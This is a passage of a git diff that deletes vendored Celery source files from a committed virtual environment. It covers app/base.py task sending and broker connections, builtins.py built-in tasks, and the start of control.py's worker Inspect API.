self._autodiscover_tasks(packages, related_name) - signals.import_modules.connect(starpromise( - self._autodiscover_tasks, packages, related_name, - ), weak=False, sender=self) - - def _autodiscover_tasks(self, packages, related_name, **kwargs): - if packages: - return self._autodiscover_tasks_from_names(packages, related_name) - return self._autodiscover_tasks_from_fixups(related_name) - - def _autodiscover_tasks_from_names(self, packages, related_name): - # packages argument can be lazy - return self.loader.autodiscover_tasks( - packages() if callable(packages) else packages, related_name, - ) - - def _autodiscover_tasks_from_fixups(self, related_name): - return self._autodiscover_tasks_from_names([ - pkg for fixup in self._fixups - if hasattr(fixup, 'autodiscover_tasks') - for pkg in fixup.autodiscover_tasks() - ], related_name=related_name) - - def send_task(self, name, args=None, kwargs=None, countdown=None, - eta=None, task_id=None, producer=None, connection=None, - router=None, result_cls=None, expires=None, - publisher=None, link=None, link_error=None, - add_to_parent=True, group_id=None, group_index=None, - retries=0, chord=None, - reply_to=None, time_limit=None, soft_time_limit=None, - root_id=None, parent_id=None, route_name=None, - shadow=None, chain=None, task_type=None, replaced_task_nesting=0, **options): - """Send task by name. - - Supports the same arguments as :meth:`@-Task.apply_async`. - - Arguments: - name (str): Name of task to call (e.g., `"tasks.add"`). - result_cls (AsyncResult): Specify custom result class. - """ - parent = have_parent = None - amqp = self.amqp - task_id = task_id or uuid() - producer = producer or publisher # XXX compat - router = router or amqp.router - conf = self.conf - if conf.task_always_eager: # pragma: no cover - warnings.warn(AlwaysEagerIgnored( - 'task_always_eager has no effect on send_task', - ), stacklevel=2) - - ignore_result = options.pop('ignore_result', False) - options = router.route( - options, route_name or name, args, kwargs, task_type) - - driver_type = self.producer_pool.connections.connection.transport.driver_type - - if (eta or countdown) and detect_quorum_queues(self, driver_type)[0]: - - queue = options.get("queue") - exchange_type = queue.exchange.type if queue else options["exchange_type"] - routing_key = queue.routing_key if queue else options["routing_key"] - exchange_name = queue.exchange.name if queue else options["exchange"] - - if exchange_type != 'direct': - if eta: - if isinstance(eta, str): - eta = isoparse(eta) - countdown = (maybe_make_aware(eta) - self.now()).total_seconds() - - if countdown: - if countdown > 0: - routing_key = calculate_routing_key(int(countdown), routing_key) - exchange = Exchange( - 'celery_delayed_27', - type='topic', - ) - options.pop("queue", None) - options['routing_key'] = routing_key - options['exchange'] = exchange - - else: - logger.warning( - 'Direct exchanges are not supported with native delayed delivery.\n' - f'{exchange_name} is a direct exchange but should be a topic exchange or ' - 'a fanout exchange in order for native delayed delivery to work properly.\n' - 'If quorum queues are used, this task may block the worker process until the ETA arrives.' - ) - - if expires is not None: - if isinstance(expires, datetime): - expires_s = (maybe_make_aware( - expires) - self.now()).total_seconds() - elif isinstance(expires, str): - expires_s = (maybe_make_aware( - isoparse(expires)) - self.now()).total_seconds() - else: - expires_s = expires - - if expires_s < 0: - logger.warning( - f"{task_id} has an expiration date in the past ({-expires_s}s ago).\n" - "We assume this is intended and so we have set the " - "expiration date to 0 instead.\n" - "According to RabbitMQ's documentation:\n" - "\"Setting the TTL to 0 causes messages to be expired upon " - "reaching a queue unless they can be delivered to a " - "consumer immediately.\"\n" - "If this was unintended, please check the code which " - "published this task." - ) - expires_s = 0 - - options["expiration"] = expires_s - - if not root_id or not parent_id: - parent = self.current_worker_task - if parent: - if not root_id: - root_id = parent.request.root_id or parent.request.id - if not parent_id: - parent_id = parent.request.id - - if conf.task_inherit_parent_priority: - options.setdefault('priority', - parent.request.delivery_info.get('priority')) - - # alias for 'task_as_v2' - message = amqp.create_task_message( - task_id, name, args, kwargs, countdown, eta, group_id, group_index, - expires, retries, chord, - maybe_list(link), maybe_list(link_error), - reply_to or self.thread_oid, time_limit, soft_time_limit, - self.conf.task_send_sent_event, - root_id, parent_id, shadow, chain, - ignore_result=ignore_result, - replaced_task_nesting=replaced_task_nesting, **options - ) - - stamped_headers = options.pop('stamped_headers', []) - for stamp in stamped_headers: - options.pop(stamp) - - if connection: - producer = amqp.Producer(connection, auto_declare=False) - - with self.producer_or_acquire(producer) as P: - with P.connection._reraise_as_library_errors(): - if not ignore_result: - self.backend.on_task_call(P, task_id) - amqp.send_task_message(P, name, message, **options) - result = (result_cls or self.AsyncResult)(task_id) - # We avoid using the constructor since a custom result class - # can be used, in which case the constructor may still use - # the old signature. - result.ignored = ignore_result - - if add_to_parent: - if not have_parent: - parent, have_parent = self.current_worker_task, True - if parent: - parent.add_trail(result) - return result - - def connection_for_read(self, url=None, **kwargs): - """Establish connection used for consuming. - - See Also: - :meth:`connection` for supported arguments. - """ - return self._connection(url or self.conf.broker_read_url, **kwargs) - - def connection_for_write(self, url=None, **kwargs): - """Establish connection used for producing. - - See Also: - :meth:`connection` for supported arguments. - """ - return self._connection(url or self.conf.broker_write_url, **kwargs) - - def connection(self, hostname=None, userid=None, password=None, - virtual_host=None, port=None, ssl=None, - connect_timeout=None, transport=None, - transport_options=None, heartbeat=None, - login_method=None, failover_strategy=None, **kwargs): - """Establish a connection to the message broker. - - Please use :meth:`connection_for_read` and - :meth:`connection_for_write` instead, to convey the intent - of use for this connection. - - Arguments: - url: Either the URL or the hostname of the broker to use. - hostname (str): URL, Hostname/IP-address of the broker. - If a URL is used, then the other argument below will - be taken from the URL instead. - userid (str): Username to authenticate as. - password (str): Password to authenticate with - virtual_host (str): Virtual host to use (domain). - port (int): Port to connect to. - ssl (bool, Dict): Defaults to the :setting:`broker_use_ssl` - setting. - transport (str): defaults to the :setting:`broker_transport` - setting. - transport_options (Dict): Dictionary of transport specific options. - heartbeat (int): AMQP Heartbeat in seconds (``pyamqp`` only). - login_method (str): Custom login method to use (AMQP only). - failover_strategy (str, Callable): Custom failover strategy. - **kwargs: Additional arguments to :class:`kombu.Connection`. - - Returns: - kombu.Connection: the lazy connection instance. - """ - return self.connection_for_write( - hostname or self.conf.broker_write_url, - userid=userid, password=password, - virtual_host=virtual_host, port=port, ssl=ssl, - connect_timeout=connect_timeout, transport=transport, - transport_options=transport_options, heartbeat=heartbeat, - login_method=login_method, failover_strategy=failover_strategy, - **kwargs - ) - - def _connection(self, url, userid=None, password=None, - virtual_host=None, port=None, ssl=None, - connect_timeout=None, transport=None, - transport_options=None, heartbeat=None, - login_method=None, failover_strategy=None, **kwargs): - conf = self.conf - return self.amqp.Connection( - url, - userid or conf.broker_user, - password or conf.broker_password, - virtual_host or conf.broker_vhost, - port or conf.broker_port, - transport=transport or conf.broker_transport, - ssl=self.either('broker_use_ssl', ssl), - heartbeat=heartbeat, - login_method=login_method or conf.broker_login_method, - failover_strategy=( - failover_strategy or conf.broker_failover_strategy - ), - transport_options=dict( - conf.broker_transport_options, **transport_options or {} - ), - connect_timeout=self.either( - 'broker_connection_timeout', connect_timeout - ), - ) - - broker_connection = connection - - def _acquire_connection(self, pool=True): - """Helper for :meth:`connection_or_acquire`.""" - if pool: - return self.pool.acquire(block=True) - return self.connection_for_write() - - def connection_or_acquire(self, connection=None, pool=True, *_, **__): - """Context used to acquire a connection from the pool. - - For use within a :keyword:`with` statement to get a connection - from the pool if one is not already provided. - - Arguments: - connection (kombu.Connection): If not provided, a connection - will be acquired from the connection pool. - """ - return FallbackContext(connection, self._acquire_connection, pool=pool) - - default_connection = connection_or_acquire # XXX compat - - def producer_or_acquire(self, producer=None): - """Context used to acquire a producer from the pool. - - For use within a :keyword:`with` statement to get a producer - from the pool if one is not already provided - - Arguments: - producer (kombu.Producer): If not provided, a producer - will be acquired from the producer pool. - """ - return FallbackContext( - producer, self.producer_pool.acquire, block=True, - ) - - default_producer = producer_or_acquire # XXX compat - - def prepare_config(self, c): - """Prepare configuration before it is merged with the defaults.""" - return find_deprecated_settings(c) - - def now(self): - """Return the current time and date as a datetime.""" - now_in_utc = to_utc(datetime.now(datetime_timezone.utc)) - return now_in_utc.astimezone(self.timezone) - - def select_queues(self, queues=None): - """Select subset of queues. - - Arguments: - queues (Sequence[str]): a list of queue names to keep. - """ - return self.amqp.queues.select(queues) - - def either(self, default_key, *defaults): - """Get key from configuration or use default values. - - Fallback to the value of a configuration key if none of the - `*values` are true. - """ - return first(None, [ - first(None, defaults), starpromise(self.conf.get, default_key), - ]) - - def bugreport(self): - """Return information useful in bug reports.""" - return bugreport(self) - - def _get_backend(self): - backend, url = backends.by_url( - self.backend_cls or self.conf.result_backend, - self.loader) - return backend(app=self, url=url) - - def _finalize_pending_conf(self): - """Get config value by key and finalize loading the configuration. - - Note: - This is used by PendingConfiguration: - as soon as you access a key the configuration is read. - """ - try: - conf = self._conf = self._load_config() - except AttributeError as err: - # AttributeError is not propagated, it is "handled" by - # PendingConfiguration parent class. This causes - # confusing RecursionError. - raise ModuleNotFoundError(*err.args) from err - - return conf - - def _load_config(self): - if isinstance(self.on_configure, Signal): - self.on_configure.send(sender=self) - else: - # used to be a method pre 4.0 - self.on_configure() - if self._config_source: - self.loader.config_from_object(self._config_source) - self.configured = True - settings = detect_settings( - self.prepare_config(self.loader.conf), self._preconf, - ignore_keys=self._preconf_set_by_auto, prefix=self.namespace, - ) - if self._conf is not None: - # replace in place, as someone may have referenced app.conf, - # done some changes, accessed a key, and then try to make more - # changes to the reference and not the finalized value. - self._conf.swap_with(settings) - else: - self._conf = settings - - # load lazy config dict initializers. - pending_def = self._pending_defaults - while pending_def: - self._conf.add_defaults(maybe_evaluate(pending_def.popleft()())) - - # load lazy periodic tasks - pending_beat = self._pending_periodic_tasks - while pending_beat: - periodic_task_args, periodic_task_kwargs = pending_beat.popleft() - self._add_periodic_task(*periodic_task_args, **periodic_task_kwargs) - - self.on_after_configure.send(sender=self, source=self._conf) - return self._conf - - def _after_fork(self): - self._pool = None - try: - self.__dict__['amqp']._producer_pool = None - except (AttributeError, KeyError): - pass - self.on_after_fork.send(sender=self) - - def signature(self, *args, **kwargs): - """Return a new :class:`~celery.Signature` bound to this app.""" - kwargs['app'] = self - return self._canvas.signature(*args, **kwargs) - - def add_periodic_task(self, schedule, sig, - args=(), kwargs=(), name=None, **opts): - """ - Add a periodic task to beat schedule. - - Celery beat store tasks based on `sig` or `name` if provided. Adding the - same signature twice make the second task override the first one. To - avoid the override, use distinct `name` for them. - """ - key, entry = self._sig_to_periodic_task_entry( - schedule, sig, args, kwargs, name, **opts) - if self.configured: - self._add_periodic_task(key, entry, name=name) - else: - self._pending_periodic_tasks.append([(key, entry), {"name": name}]) - return key - - def _sig_to_periodic_task_entry(self, schedule, sig, - args=(), kwargs=None, name=None, **opts): - kwargs = {} if not kwargs else kwargs - sig = (sig.clone(args, kwargs) - if isinstance(sig, abstract.CallableSignature) - else self.signature(sig.name, args, kwargs)) - return name or repr(sig), { - 'schedule': schedule, - 'task': sig.name, - 'args': sig.args, - 'kwargs': sig.kwargs, - 'options': dict(sig.options, **opts), - } - - def _add_periodic_task(self, key, entry, name=None): - if name is None and key in self._conf.beat_schedule: - logger.warning( - f"Periodic task key='{key}' shadowed a previous unnamed periodic task." - " Pass a name kwarg to add_periodic_task to silence this warning." - ) - - self._conf.beat_schedule[key] = entry - - def create_task_cls(self): - """Create a base task class bound to this app.""" - return self.subclass_with_self( - self.task_cls, name='Task', attribute='_app', - keep_reduce=True, abstract=True, - ) - - def subclass_with_self(self, Class, name=None, attribute='app', - reverse=None, keep_reduce=False, **kw): - """Subclass an app-compatible class. - - App-compatible means that the class has a class attribute that - provides the default app it should use, for example: - ``class Foo: app = None``. - - Arguments: - Class (type): The app-compatible class to subclass. - name (str): Custom name for the target class. - attribute (str): Name of the attribute holding the app, - Default is 'app'. - reverse (str): Reverse path to this object used for pickling - purposes. For example, to get ``app.AsyncResult``, - use ``"AsyncResult"``. - keep_reduce (bool): If enabled a custom ``__reduce__`` - implementation won't be provided. - """ - Class = symbol_by_name(Class) - reverse = reverse if reverse else Class.__name__ - - def __reduce__(self): - return _unpickle_appattr, (reverse, self.__reduce_args__()) - - attrs = dict( - {attribute: self}, - __module__=Class.__module__, - __doc__=Class.__doc__, - **kw) - if not keep_reduce: - attrs['__reduce__'] = __reduce__ - - return type(name or Class.__name__, (Class,), attrs) - - def _rgetattr(self, path): - return attrgetter(path)(self) - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - self.close() - - def __repr__(self): - return f'<{type(self).__name__} {appstr(self)}>' - - def __reduce__(self): - if self._using_v1_reduce: - return self.__reduce_v1__() - return (_unpickle_app_v2, (self.__class__, self.__reduce_keys__())) - - def __reduce_v1__(self): - # Reduce only pickles the configuration changes, - # so the default configuration doesn't have to be passed - # between processes. - return ( - _unpickle_app, - (self.__class__, self.Pickler) + self.__reduce_args__(), - ) - - def __reduce_keys__(self): - """Keyword arguments used to reconstruct the object when unpickling.""" - return { - 'main': self.main, - 'changes': - self._conf.changes if self.configured else self._preconf, - 'loader': self.loader_cls, - 'backend': self.backend_cls, - 'amqp': self.amqp_cls, - 'events': self.events_cls, - 'log': self.log_cls, - 'control': self.control_cls, - 'fixups': self.fixups, - 'config_source': self._config_source, - 'task_cls': self.task_cls, - 'namespace': self.namespace, - } - - def __reduce_args__(self): - """Deprecated method, please use :meth:`__reduce_keys__` instead.""" - return (self.main, self._conf.changes if self.configured else {}, - self.loader_cls, self.backend_cls, self.amqp_cls, - self.events_cls, self.log_cls, self.control_cls, - False, self._config_source) - - @cached_property - def Worker(self): - """Worker application. - - See Also: - :class:`~@Worker`. - """ - return self.subclass_with_self('celery.apps.worker:Worker') - - @cached_property - def WorkController(self, **kwargs): - """Embeddable worker. - - See Also: - :class:`~@WorkController`. - """ - return self.subclass_with_self('celery.worker:WorkController') - - @cached_property - def Beat(self, **kwargs): - """:program:`celery beat` scheduler application. - - See Also: - :class:`~@Beat`. - """ - return self.subclass_with_self('celery.apps.beat:Beat') - - @cached_property - def Task(self): - """Base task class for this app.""" - return self.create_task_cls() - - @cached_property - def annotations(self): - return prepare_annotations(self.conf.task_annotations) - - @cached_property - def AsyncResult(self): - """Create new result instance. - - See Also: - :class:`celery.result.AsyncResult`. - """ - return self.subclass_with_self('celery.result:AsyncResult') - - @cached_property - def ResultSet(self): - return self.subclass_with_self('celery.result:ResultSet') - - @cached_property - def GroupResult(self): - """Create new group result instance. - - See Also: - :class:`celery.result.GroupResult`. - """ - return self.subclass_with_self('celery.result:GroupResult') - - @property - def pool(self): - """Broker connection pool: :class:`~@pool`. - - Note: - This attribute is not related to the workers concurrency pool. - """ - if self._pool is None: - self._ensure_after_fork() - limit = self.conf.broker_pool_limit - pools.set_limit(limit) - self._pool = pools.connections[self.connection_for_write()] - return self._pool - - @property - def current_task(self): - """Instance of task being executed, or :const:`None`.""" - return _task_stack.top - - @property - def current_worker_task(self): - """The task currently being executed by a worker or :const:`None`. - - Differs from :data:`current_task` in that it's not affected - by tasks calling other tasks directly, or eagerly. - """ - return get_current_worker_task() - - @cached_property - def oid(self): - """Universally unique identifier for this app.""" - # since 4.0: thread.get_ident() is not included when - # generating the process id. This is due to how the RPC - # backend now dedicates a single thread to receive results, - # which would not work if each thread has a separate id. - return oid_from(self, threads=False) - - @property - def thread_oid(self): - """Per-thread unique identifier for this app.""" - try: - return self._local.oid - except AttributeError: - self._local.oid = new_oid = oid_from(self, threads=True) - return new_oid - - @cached_property - def amqp(self): - """AMQP related functionality: :class:`~@amqp`.""" - return instantiate(self.amqp_cls, app=self) - - @property - def _backend(self): - """A reference to the backend object - - Uses self._backend_cache if it is thread safe. - Otherwise, use self._local - """ - if self._backend_cache is not None: - return self._backend_cache - return getattr(self._local, "backend", None) - - @_backend.setter - def _backend(self, backend): - """Set the backend object on the app""" - if backend.thread_safe: - self._backend_cache = backend - else: - self._local.backend = backend - - @property - def backend(self): - """Current backend instance.""" - if self._backend is None: - self._backend = self._get_backend() - return self._backend - - @property - def conf(self): - """Current configuration.""" - if self._conf is None: - self._conf = self._load_config() - return self._conf - - @conf.setter - def conf(self, d): - self._conf = d - - @cached_property - def control(self): - """Remote control: :class:`~@control`.""" - return instantiate(self.control_cls, app=self) - - @cached_property - def events(self): - """Consuming and sending events: :class:`~@events`.""" - return instantiate(self.events_cls, app=self) - - @cached_property - def loader(self): - """Current loader instance.""" - return get_loader_cls(self.loader_cls)(app=self) - - @cached_property - def log(self): - """Logging: :class:`~@log`.""" - return instantiate(self.log_cls, app=self) - - @cached_property - def _canvas(self): - from celery import canvas - return canvas - - @cached_property - def tasks(self): - """Task registry. - - Warning: - Accessing this attribute will also auto-finalize the app. - """ - self.finalize(auto=True) - return self._tasks - - @property - def producer_pool(self): - return self.amqp.producer_pool - - def uses_utc_timezone(self): - """Check if the application uses the UTC timezone.""" - return self.timezone == timezone.utc - - @cached_property - def timezone(self): - """Current timezone for this app. - - This is a cached property taking the time zone from the - :setting:`timezone` setting. - """ - conf = self.conf - if not conf.timezone: - if conf.enable_utc: - return timezone.utc - else: - return timezone.local - return timezone.get_timezone(conf.timezone) - - -App = Celery # XXX compat diff --git a/venv/Lib/site-packages/celery/app/builtins.py b/venv/Lib/site-packages/celery/app/builtins.py deleted file mode 100644 index 66fb94a29b2ab596545ba0643eb991b454b3b084..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/builtins.py +++ /dev/null @@ -1,186 +0,0 @@ -"""Built-in Tasks. - -The built-in tasks are always available in all app instances. -""" -from celery._state import connect_on_app_finalize -from celery.utils.log import get_logger - -__all__ = () -logger = get_logger(__name__) - - -@connect_on_app_finalize -def add_backend_cleanup_task(app): - """Task used to clean up expired results. - - If the configured backend requires periodic cleanup this task is also - automatically configured to run every day at 4am (requires - :program:`celery beat` to be running). - """ - @app.task(name='celery.backend_cleanup', shared=False, lazy=False) - def backend_cleanup(): - app.backend.cleanup() - return backend_cleanup - - -@connect_on_app_finalize -def add_accumulate_task(app): - """Task used by Task.replace when replacing task with group.""" - @app.task(bind=True, name='celery.accumulate', shared=False, lazy=False) - def accumulate(self, *args, **kwargs): - index = kwargs.get('index') - return args[index] if index is not None else args - return accumulate - - -@connect_on_app_finalize -def add_unlock_chord_task(app): - """Task used by result backends without native chord support. - - Will joins chord by creating a task chain polling the header - for completion. - """ - from celery.backends.base import _create_chord_error_with_cause - from celery.canvas import maybe_signature - from celery.result import allow_join_result, result_from_tuple - - @app.task(name='celery.chord_unlock', max_retries=None, shared=False, - default_retry_delay=app.conf.result_chord_retry_interval, ignore_result=True, lazy=False, bind=True) - def unlock_chord(self, group_id, callback, interval=None, - max_retries=None, result=None, - Result=app.AsyncResult, GroupResult=app.GroupResult, - result_from_tuple=result_from_tuple, **kwargs): - if interval is None: - interval = self.default_retry_delay - - # check if the task group is ready, and if so apply the callback. - callback = maybe_signature(callback, app) - deps = GroupResult( - group_id, - [result_from_tuple(r, app=app) for r in result], - app=app, - ) - j = deps.join_native if deps.supports_native_join else deps.join - - try: - ready = deps.ready() - except Exception as exc: - raise self.retry( - exc=exc, countdown=interval, max_retries=max_retries, - ) - else: - if not ready: - raise self.retry(countdown=interval, max_retries=max_retries) - - callback = maybe_signature(callback, app=app) - try: - with allow_join_result(): - ret = j( - timeout=app.conf.result_chord_join_timeout, - propagate=True, - ) - except Exception as exc: # pylint: disable=broad-except - try: - culprit = next(deps._failed_join_report()) - reason = f'Dependency {culprit.id} raised {exc!r}' - except StopIteration: - reason = repr(exc) - logger.exception('Chord %r raised: %r', group_id, exc) - chord_error = _create_chord_error_with_cause(message=reason, original_exc=exc) - app.backend.chord_error_from_stack(callback=callback, exc=chord_error) - else: - try: - callback.delay(ret) - except Exception as exc: # pylint: disable=broad-except - logger.exception('Chord %r raised: %r', group_id, exc) - chord_error = _create_chord_error_with_cause(message=f'Callback error: {exc!r}', original_exc=exc) - app.backend.chord_error_from_stack(callback=callback, exc=chord_error) - return unlock_chord - - -@connect_on_app_finalize -def add_map_task(app): - from celery.canvas import signature - - @app.task(name='celery.map', shared=False, lazy=False) - def xmap(task, it): - task = signature(task, app=app).type - return [task(item) for item in it] - return xmap - - -@connect_on_app_finalize -def add_starmap_task(app): - from celery.canvas import signature - - @app.task(name='celery.starmap', shared=False, lazy=False) - def xstarmap(task, it): - task = signature(task, app=app).type - return [task(*item) for item in it] - return xstarmap - - -@connect_on_app_finalize -def add_chunk_task(app): - from celery.canvas import chunks as _chunks - - @app.task(name='celery.chunks', shared=False, lazy=False) - def chunks(task, it, n): - return _chunks.apply_chunks(task, it, n) - return chunks - - -@connect_on_app_finalize -def add_group_task(app): - """No longer used, but here for backwards compatibility.""" - from celery.canvas import maybe_signature - from celery.result import result_from_tuple - - @app.task(name='celery.group', bind=True, shared=False, lazy=False) - def group(self, tasks, result, group_id, partial_args, add_to_parent=True): - app = self.app - result = result_from_tuple(result, app) - # any partial args are added to all tasks in the group - taskit = (maybe_signature(task, app=app).clone(partial_args) - for i, task in enumerate(tasks)) - with app.producer_or_acquire() as producer: - [stask.apply_async(group_id=group_id, producer=producer, - add_to_parent=False) for stask in taskit] - parent = app.current_worker_task - if add_to_parent and parent: - parent.add_trail(result) - return result - return group - - -@connect_on_app_finalize -def add_chain_task(app): - """No longer used, but here for backwards compatibility.""" - @app.task(name='celery.chain', shared=False, lazy=False) - def chain(*args, **kwargs): - raise NotImplementedError('chain is not a real task') - return chain - - -@connect_on_app_finalize -def add_chord_task(app): - """No longer used, but here for backwards compatibility.""" - from celery import chord as _chord - from celery import group - from celery.canvas import maybe_signature - - @app.task(name='celery.chord', bind=True, ignore_result=False, - shared=False, lazy=False) - def chord(self, header, body, partial_args=(), interval=None, - countdown=1, max_retries=None, eager=False, **kwargs): - app = self.app - # - convert back to group if serialized - tasks = header.tasks if isinstance(header, group) else header - header = group([ - maybe_signature(s, app=app) for s in tasks - ], app=self.app) - body = maybe_signature(body, app=app) - ch = _chord(header, body) - return ch.run(header, body, partial_args, app, interval, - countdown, max_retries, **kwargs) - return chord diff --git a/venv/Lib/site-packages/celery/app/control.py b/venv/Lib/site-packages/celery/app/control.py deleted file mode 100644 index 00db75d6ddfce9258d7cd416523c5420bc79bc8c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/control.py +++ /dev/null @@ -1,788 +0,0 @@ -"""Worker Remote Control Client. - -Client for worker remote control commands. -Server implementation is in :mod:`celery.worker.control`. -There are two types of remote control commands: - -* Inspect commands: Does not have side effects, will usually just return some value - found in the worker, like the list of currently registered tasks, the list of active tasks, etc. - Commands are accessible via :class:`Inspect` class. - -* Control commands: Performs side effects, like adding a new queue to consume from. - Commands are accessible via :class:`Control` class. -""" -import warnings - -from billiard.common import TERM_SIGNAME -from kombu.matcher import match -from kombu.pidbox import Mailbox -from kombu.utils.compat import register_after_fork -from kombu.utils.functional import lazy -from kombu.utils.objects import cached_property - -from celery.exceptions import DuplicateNodenameWarning, ImproperlyConfigured -from celery.utils.log import get_logger -from celery.utils.text import pluralize - -__all__ = ('Inspect', 'Control', 'flatten_reply') - -logger = get_logger(__name__) - -W_DUPNODE = """\ -Received multiple replies from node {0}: {1}. -Please make sure you give each node a unique nodename using -the celery worker `-n` option.\ -""" - - -def flatten_reply(reply): - """Flatten node replies. - - Convert from a list of replies in this format:: - - [{'a@example.com': reply}, - {'b@example.com': reply}] - - into this format:: - - {'a@example.com': reply, - 'b@example.com': reply} - """ - nodes, dupes = {}, set() - for item in reply: - [dupes.add(name) for name in item if name in nodes] - nodes.update(item) - if dupes: - warnings.warn(DuplicateNodenameWarning( - W_DUPNODE.format( - pluralize(len(dupes), 'name'), ', '.join(sorted(dupes)), - ), - )) - return nodes - - -def _after_fork_cleanup_control(control): - try: - control._after_fork() - except Exception as exc: # pylint: disable=broad-except - logger.info('after fork raised exception: %r', exc, exc_info=1) - - -class Inspect: - """API for inspecting workers. - - This class provides proxy for accessing Inspect API of workers. The API is - defined in :py:mod:`celery.worker.control` - """ - - app = None - - def __init__(self, destination=None, timeout=1.0, callback=None, - connection=None, app=None, limit=None, pattern=None, - matcher=None): - self.app = app or self.app - self.destination = destination - self.timeout = timeout - self.callback = callback - self.connection = connection - self.limit = limit - self.pattern = pattern - self.matcher = matcher - - def _prepare(self, reply): - if reply: - by_node = flatten_reply(reply) - if (self.destination and - not isinstance(self.destination, (list, tuple))): - return by_node.get(self.destination) - if self.pattern: - pattern = self.pattern - matcher = self.matcher - return {node: reply for node, reply in by_node.items() - if match(node, pattern, matcher)} - return by_node - - def _request(self, command, **kwargs): - return self._prepare(self.app.control.broadcast( - command, - arguments=kwargs, - destination=self.destination, - callback=self.callback, - connection=self.connection, - limit=self.limit, - timeout=self.timeout, reply=True, - pattern=self.pattern, matcher=self.matcher, - )) - - def report(self): - """Return human readable report for each worker. - - Returns: - Dict: Dictionary ``{HOSTNAME: {'ok': REPORT_STRING}}``. - """ - return self._request('report') - - def clock(self): - """Get the Clock value on workers. - - >>> app.control.inspect().clock() - {'celery@node1': {'clock': 12}} - - Returns: - Dict: Dictionary ``{HOSTNAME: CLOCK_VALUE}``. - """ - return self._request('clock') - - def active(self, safe=None): - """Return list of tasks currently executed by workers. - - Arguments: - safe (Boolean): Set to True to disable deserialization. - - Returns: - Dict: Dictionary ``{HOSTNAME: [TASK_INFO,...]}``. - - See Also: - For ``TASK_INFO`` details see :func:`query_task` return value. - - """ - return self._request('active', safe=safe) - - def scheduled(self, safe=None): - """Return list of scheduled tasks with details. - - Returns: - Dict: Dictionary ``{HOSTNAME: [TASK_SCHEDULED_INFO,...]}``. - - Here is the list of ``TASK_SCHEDULED_INFO`` fields: - - * ``eta`` - scheduled time for task execution as string in ISO 8601 format - * ``priority`` - priority of the task - * ``request`` - field containing ``TASK_INFO`` value. - - See Also: - For more details about ``TASK_INFO`` see :func:`query_task` return value. - """ - return self._request('scheduled') - - def reserved(self, safe=None): - """Return list of currently reserved tasks, not including scheduled/active. - - Returns: - Dict: Dictionary ``{HOSTNAME: [TASK_INFO,...]}``. - - See Also: - For ``TASK_INFO`` details see :func:`query_task` return value. - """ - return self._request('reserved') - - def stats(self): - """Return statistics of worker. - - Returns: - Dict: Dictionary ``{HOSTNAME: STAT_INFO}``. - - Here is the list of ``STAT_INFO`` fields: - - * ``broker`` - Section for broker information. - * ``connect_timeout`` - Timeout in seconds (int/float) for establishing a new connection. - * ``heartbeat`` - Current heartbeat value (set by client). - * ``hostname`` - Node name of the remote broker. - * ``insist`` - No longer used. - * ``login_method`` - Login method used to connect to the broker. - * ``port`` - Port of the remote broker. - * ``ssl`` - SSL enabled/disabled. - * ``transport`` - Name of transport used (e.g., amqp or redis) - * ``transport_options`` - Options passed to transport. - * ``uri_prefix`` - Some transports expects the host name to be a URL. - E.g. ``redis+socket:///tmp/redis.sock``. - In this example the URI-prefix will be redis. - * ``userid`` - User id used to connect to the broker with. - * ``virtual_host`` - Virtual host used. - * ``clock`` - Value of the workers logical clock. This is a positive integer - and should be increasing every time you receive statistics. - * ``uptime`` - Numbers of seconds since the worker controller was started - * ``pid`` - Process id of the worker instance (Main process). - * ``pool`` - Pool-specific section. - * ``max-concurrency`` - Max number of processes/threads/green threads. - * ``max-tasks-per-child`` - Max number of tasks a thread may execute before being recycled. - * ``processes`` - List of PIDs (or thread-id’s). - * ``put-guarded-by-semaphore`` - Internal - * ``timeouts`` - Default values for time limits. - * ``writes`` - Specific to the prefork pool, this shows the distribution - of writes to each process in the pool when using async I/O. - * ``prefetch_count`` - Current prefetch count value for the task consumer. - * ``rusage`` - System usage statistics. The fields available may be different on your platform. - From :manpage:`getrusage(2)`: - - * ``stime`` - Time spent in operating system code on behalf of this process. - * ``utime`` - Time spent executing user instructions. - * ``maxrss`` - The maximum resident size used by this process (in kilobytes). - * ``idrss`` - Amount of non-shared memory used for data (in kilobytes times - ticks of execution) - * ``isrss`` - Amount of non-shared memory used for stack space - (in kilobytes times ticks of execution) - * ``ixrss`` - Amount of memory shared with other processes - (in kilobytes times ticks of execution). - * ``inblock`` - Number of times the file system had to read from the disk - on behalf of this process. - * ``oublock`` - Number of times the file system has to write to disk - on behalf of this process. - * ``majflt`` - Number of page faults that were serviced by doing I/O. - * ``minflt`` - Number of page faults that were serviced without doing I/O. - * ``msgrcv`` - Number of IPC messages received. - * ``msgsnd`` - Number of IPC messages sent. - * ``nvcsw`` - Number of times this process voluntarily invoked a context switch. - * ``nivcsw`` - Number of times an involuntary context switch took place. - * ``nsignals`` - Number of signals received. - * ``nswap`` - The number of times this process was swapped entirely - out of memory. - * ``total`` - Map of task names and the total number of tasks with that type - the worker has accepted since start-up. - """ - return self._request('stats') - - def revoked(self): - """Return list of revoked tasks. - - >>> app.control.inspect().revoked() - {'celery@node1': ['16f527de-1c72-47a6-b477-c472b92fef7a']} - - Returns: - Dict: Dictionary ``{HOSTNAME: [TASK_ID, ...]}``. - """ - return self._request('revoked') - - def registered(self, *taskinfoitems): - """Return all registered tasks per worker. - - >>> app.control.inspect().registered() - {'celery@node1': ['task1', 'task1']} - >>> app.control.inspect().registered('serializer', 'max_retries') - {'celery@node1': ['task_foo [serializer=json max_retries=3]', 'tasb_bar [serializer=json max_retries=3]']} - - Arguments: - taskinfoitems (Sequence[str]): List of :class:`~celery.app.task.Task` - attributes to include. - - Returns: - Dict: Dictionary ``{HOSTNAME: [TASK1_INFO, ...]}``. - """ - return self._request('registered', taskinfoitems=taskinfoitems) - registered_tasks = registered - - def ping(self, destination=None): - """Ping all (or specific) workers. - - >>> app.control.inspect().ping() - {'celery@node1': {'ok': 'pong'}, 'celery@node2': {'ok': 'pong'}} - >>> app.control.inspect().ping(destination=['celery@node1']) - {'celery@node1': {'ok': 'pong'}} - - Arguments: - destination (List): If set, a list of the hosts to send the - command to, when empty broadcast to all workers. - - Returns: - Dict: Dictionary ``{HOSTNAME: {'ok': 'pong'}}``. - - See Also: - :meth:`broadcast` for supported keyword arguments. - """ - if destination: - self.destination = destination - return self._request('ping') - - def active_queues(self): - """Return information about queues from which worker consumes tasks. - - Returns: - Dict: Dictionary ``{HOSTNAME: [QUEUE_INFO, 